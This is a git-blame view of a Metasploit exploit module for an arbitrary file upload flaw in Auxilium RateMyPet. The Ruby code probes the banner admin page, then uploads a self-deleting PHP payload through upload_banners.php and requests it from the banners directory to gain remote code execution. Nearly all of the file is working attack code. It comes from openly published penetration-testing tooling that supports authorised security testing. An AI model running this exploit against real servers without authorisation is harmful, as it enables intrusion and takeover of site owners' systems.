Files
metasploit-gs/modules/exploits/multi/http/auxilium_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

114 lines
3.2 KiB
Ruby
Raw Normal View History

2012-09-24 10:16:11 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-24 10:16:11 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-09-24 10:16:11 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
include Msf::Exploit::Remote::HttpClient
2012-10-12 04:53:01 -05:00
include Msf::Exploit::PhpEXE
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Auxilium RateMyPet's. The site
banner uploading feature can be abused to upload an arbitrary file to the web
server, which is accessible in the 'banner' directory, thus allowing remote code
execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
2012-10-12 04:53:01 -05:00
'DaOne', # Vulnerability discovery
'sinn3r' # Metasploit
2012-09-24 10:16:11 -05:00
],
'References' =>
[
['OSVDB', '85554'],
2012-09-24 10:16:11 -05:00
['EDB', '21329']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => %w{ linux php },
2012-09-24 10:16:11 -05:00
'Targets' =>
[
2012-10-12 04:53:01 -05:00
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
2012-09-24 10:16:11 -05:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-09-14',
2012-09-24 10:16:11 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
])
2012-09-24 10:16:11 -05:00
end
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
def check
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2012-11-08 17:42:48 +01:00
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
res = send_request_raw({
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
})
2012-09-24 10:16:11 -05:00
if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
2014-01-21 17:14:55 -06:00
return Exploit::CheckCode::Detected
2012-09-24 10:16:11 -05:00
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
def upload_exec(base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
data.add_part('', nil, nil, "form-data; name=\"alt\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
post_data = data.to_s
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Uploading payload (#{p.length.to_s} bytes)...")
2012-09-24 10:16:11 -05:00
res = send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
2012-09-24 10:16:11 -05:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
})
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
if not res
2016-02-01 15:12:03 -06:00
print_error("No response from host")
2012-09-24 10:16:11 -05:00
return
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Requesting '#{php_fname}'...")
2013-01-30 23:23:41 -06:00
res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
2012-09-24 10:16:11 -05:00
if res and res.code == 404
2016-02-01 15:12:03 -06:00
print_error("Upload unsuccessful: #{res.code.to_s}")
2012-09-24 10:16:11 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
handler
end
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
def exploit
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
2013-08-30 16:28:54 -05:00
2012-10-12 04:53:01 -05:00
p = get_write_exec_payload(:unlink_self=>true)
2013-08-30 16:28:54 -05:00
2012-09-24 10:16:11 -05:00
upload_exec(base, php_fname, p)
end
end